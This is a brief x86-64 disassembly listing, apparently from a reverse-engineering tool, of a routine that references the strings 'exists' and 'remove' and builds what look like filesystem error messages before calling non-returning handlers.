lea r8, [rsp + 0x78]
lea rdx, [rsp + 0x130]
lea rcx, str.exists
call fcn.180023fd0
nop
call fcn.18009e1e4
nop
call fcn.18009e1e4
nop
call fcn.18009e1e4
nop
call fcn.18009e1e4
nop
call fcn.18009e1e4
nop
call fcn.18009e1e4
nop
test al, 4
je 0x180067077
lea rbx, [0x1800fb6b8]
jmp 0x18006708b
test al, 2
lea rbx, [0x1800fb6d0]
lea rax, [0x1800fb6e8]
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x130]
call fcn.180002dd0
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0xd8]
call fcn.1800037a0
lea rdx, [0x1802207b0]
lea rcx, [rsp + 0xd8]
call fcn.1800915e0
call fcn.18009e1e4
nop
call fcn.18009e1e4
nop
call fcn.18009e1e4
nop
test al, 4
je 0x1800670e3
lea rbx, [0x1800fb6b8]
jmp 0x1800670f7
test al, 2
lea rbx, [0x1800fb6d0]
lea rax, [0x1800fb6e8]
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x130]
call fcn.180002dd0
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x100]
call fcn.1800037a0
lea rdx, [0x1802207b0]
lea rcx, [rsp + 0x100]
call fcn.1800915e0
nop
shr rdx, 0x20
lea r8, [rsp + 0x50]
lea rcx, str.remove
call fcn.18002bac0
nop
call fcn.18009e1e4
int3
call fcn.18009e1e4
nop
call fcn.18009e1e4
nop
call fcn.18009e1e4
nop
call fcn.18009e1e4
int3